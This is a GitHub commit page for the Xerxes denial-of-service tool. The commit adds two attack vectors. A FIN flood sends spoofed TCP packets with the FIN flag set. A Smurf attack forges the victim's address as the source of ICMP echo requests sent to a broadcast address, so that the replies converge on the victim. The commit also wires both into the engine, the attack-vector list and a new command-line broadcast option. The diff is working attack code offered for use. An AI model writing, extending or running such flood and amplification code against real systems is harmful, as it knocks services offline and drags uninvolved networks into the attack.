Skip to content

Commit

Permalink
add new vectors
Browse files Browse the repository at this point in the history
  • Loading branch information
sepehrdaddev committed Nov 18, 2018
1 parent f6d54e3 commit 323ba06
Show file tree
Hide file tree
Showing 10 changed files with 76 additions and 4 deletions.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
[![Build Status](https://travis-ci.org/sepehrdaddev/Xerxes.svg?branch=master)](https://travis-ci.org/sepehrdaddev/Xerxes)
[![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
[![SSL: LibreSSL v2.8.2](https://img.shields.io/badge/SSL-LibreSSL%20v2.8.2-green.svg)](https://www.libressl.org/)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-blue.svg)](https://www.linux.org/)
[![Platform: Linux](https://img.shields.io/badge/Platform-Linux-blue.svg)](https://www.linux.org/)
[![Version: 2.0beta](https://img.shields.io/badge/Version-2.0beta-blue.svg)](https://github.com/sepehrdaddev/Xerxes.git)


Expand Down
2 changes: 1 addition & 1 deletion src/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib)
include_directories(../lib/args)
include_directories(../lib/libressl)

add_executable(Xerxes main.cpp engine.cpp engine.h utils.h config.h tcp_flood.cpp tcp_flood.h socket.cpp socket.h ssocket.cpp ssocket.h Vector.cpp Vector.h null_tcp.cpp null_tcp.h udp_flood.cpp udp_flood.h null_udp.cpp null_udp.h base_flood.cpp base_flood.h http_flood.cpp http_flood.h http.h http.cpp utils.cpp rsocket.cpp rsocket.h base_spoofed_flood.cpp base_spoofed_flood.h icmp_flood.cpp icmp_flood.h spoofed_tcp_flood.cpp spoofed_tcp_flood.h syn_flood.cpp syn_flood.h ack_flood.cpp ack_flood.h spoofed_udp_flood.cpp spoofed_udp_flood.h teardrop.cpp teardrop.h vectors.h blacknurse.cpp blacknurse.h land.cpp land.h)
add_executable(Xerxes main.cpp engine.cpp engine.h utils.h config.h tcp_flood.cpp tcp_flood.h socket.cpp socket.h ssocket.cpp ssocket.h Vector.cpp Vector.h null_tcp.cpp null_tcp.h udp_flood.cpp udp_flood.h null_udp.cpp null_udp.h base_flood.cpp base_flood.h http_flood.cpp http_flood.h http.h http.cpp utils.cpp rsocket.cpp rsocket.h base_spoofed_flood.cpp base_spoofed_flood.h icmp_flood.cpp icmp_flood.h spoofed_tcp_flood.cpp spoofed_tcp_flood.h syn_flood.cpp syn_flood.h ack_flood.cpp ack_flood.h spoofed_udp_flood.cpp spoofed_udp_flood.h teardrop.cpp teardrop.h vectors.h blacknurse.cpp blacknurse.h land.cpp land.h fin_flood.cpp fin_flood.h smurf.cpp smurf.h)

target_link_libraries(Xerxes tls ssl crypto pthread ${CMAKE_DL_LIBS})
add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/src/useragents ${CMAKE_BINARY_DIR}/bin/useragents)
Expand Down
2 changes: 1 addition & 1 deletion src/config.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
#include <string>

enum __Vector__{NULL_TCP = 0, NULL_UDP, TCP_FLOOD, UDP_FLOOD, HTTP_FLOOD, ICMP_FLOOD, SYN_FLOOD,
ACK_FLOOD, SPOOFED_UDP_FLOOD, TEARDROP, BLACKNURSE, LAND};
ACK_FLOOD, FIN_FLOOD, SPOOFED_UDP_FLOOD, TEARDROP, BLACKNURSE, LAND, SMURF};

struct Config{
std::string rhost;
Expand Down
6 changes: 6 additions & 0 deletions src/engine.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,9 @@ engine::engine(std::shared_ptr<Config> config) {
case ACK_FLOOD:
flood.reset(new ack_flood(config));
break;
case FIN_FLOOD:
flood.reset(new fin_flood(config));
break;
case SPOOFED_UDP_FLOOD:
flood.reset(new spoofed_udp_flood(config));
break;
Expand All @@ -43,6 +46,9 @@ engine::engine(std::shared_ptr<Config> config) {
case LAND:
flood.reset(new land(config));
break;
case SMURF:
flood.reset(new smurf(config));
break;
default:
fputs("[-] invalid Vector selected\n", stderr);
exit(EXIT_FAILURE);
Expand Down
10 changes: 10 additions & 0 deletions src/fin_flood.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#include "fin_flood.h"

fin_flood::fin_flood(std::shared_ptr<Config> config) : spoofed_tcp_flood(std::move(config)) {

}

void fin_flood::finalize_hdr(tcphdr *tcp, iphdr *ip) {
tcp->th_flags = TH_FIN;
spoofed_tcp_flood::finalize_hdr(tcp, ip);
}
17 changes: 17 additions & 0 deletions src/fin_flood.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
#ifndef XERXES_FIN_FLOOD_H
#define XERXES_FIN_FLOOD_H

#include "spoofed_tcp_flood.h"

class fin_flood : public spoofed_tcp_flood{

public:
explicit fin_flood(std::shared_ptr<Config> config);
~fin_flood() override = default;

protected:
void finalize_hdr(tcphdr *tcp, iphdr *ip) override;
};


#endif //XERXES_FIN_FLOOD_H
7 changes: 6 additions & 1 deletion src/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,8 @@ const char *__version__ = "2.0beta";
const char *__project__ = "Xerxes enhanced";

std::vector<std::string> __str_vectors__{"NULL TCP", "NULL UDP", "TCP Flood", "UDP Flood", "HTTP Flood", "ICMP Flood",
"SYN Flood", "ACK Flood", "Spoofed UDP Flood", "Teardrop", "Blacknurse", "Land"};
"SYN Flood", "ACK Flood", "FIN Flood", "Spoofed UDP Flood", "Teardrop",
"Blacknurse", "Land", "Smurf"};

void version(){
printf("%s v%s\n", __project__, __version__);
Expand Down Expand Up @@ -67,6 +68,9 @@ int main(int argc, const char *argv[]){
args::ValueFlag<std::string> rport(parser, "rport", "remote host port [default 80]",
{'p', "rport"}, "80");

args::ValueFlag<std::string> bcast(parser, "bcast", "broadcast address [default 127.0.0.1]",
{'b', "bcast"}, "127.0.0.1");

args::ValueFlag<int> vec(parser, "vector", "attack vector [default 0]",
{'v', "vec"}, 0);

Expand Down Expand Up @@ -115,6 +119,7 @@ int main(int argc, const char *argv[]){
utils::set_dly(args::get(dly), &config->time);
config->rhost = args::get(rhost);
config->rport = args::get(rport);
config->bcast = args::get(bcast);
config->vec = args::get(vec);
config->conn = args::get(conn);
config->trds = args::get(trds);
Expand Down
15 changes: 15 additions & 0 deletions src/smurf.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
#include "smurf.h"

#include <arpa/inet.h>

smurf::smurf(std::shared_ptr<Config> config) : icmp_flood(std::move(config)) {

}

void smurf::finalize_hdr(icmphdr *icmp, iphdr *ip) {
icmp->type = ICMP_ECHO;
icmp->code = ICMP_NET_UNREACH;
ip->daddr = inet_addr(config->bcast.c_str());
ip->saddr = inet_addr(config->rhost.c_str());
icmp_flood::finalize_hdr(icmp, ip);
}
17 changes: 17 additions & 0 deletions src/smurf.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
#ifndef XERXES_SMURF_H
#define XERXES_SMURF_H

#include "icmp_flood.h"

class smurf : public icmp_flood{

public:
explicit smurf(std::shared_ptr<Config> config);
~smurf() override = default;

protected:
void finalize_hdr(icmphdr *icmp, iphdr *ip) override;
};


#endif //XERXES_SMURF_H
2 changes: 2 additions & 0 deletions src/vectors.h
Original file line number Diff line number Diff line change
Expand Up @@ -13,5 +13,7 @@
#include "teardrop.h"
#include "blacknurse.h"
#include "land.h"
#include "fin_flood.h"
#include "smurf.h"

#endif //XERXES_VECTORS_H

0 comments on commit 323ba06

Please sign in to comment.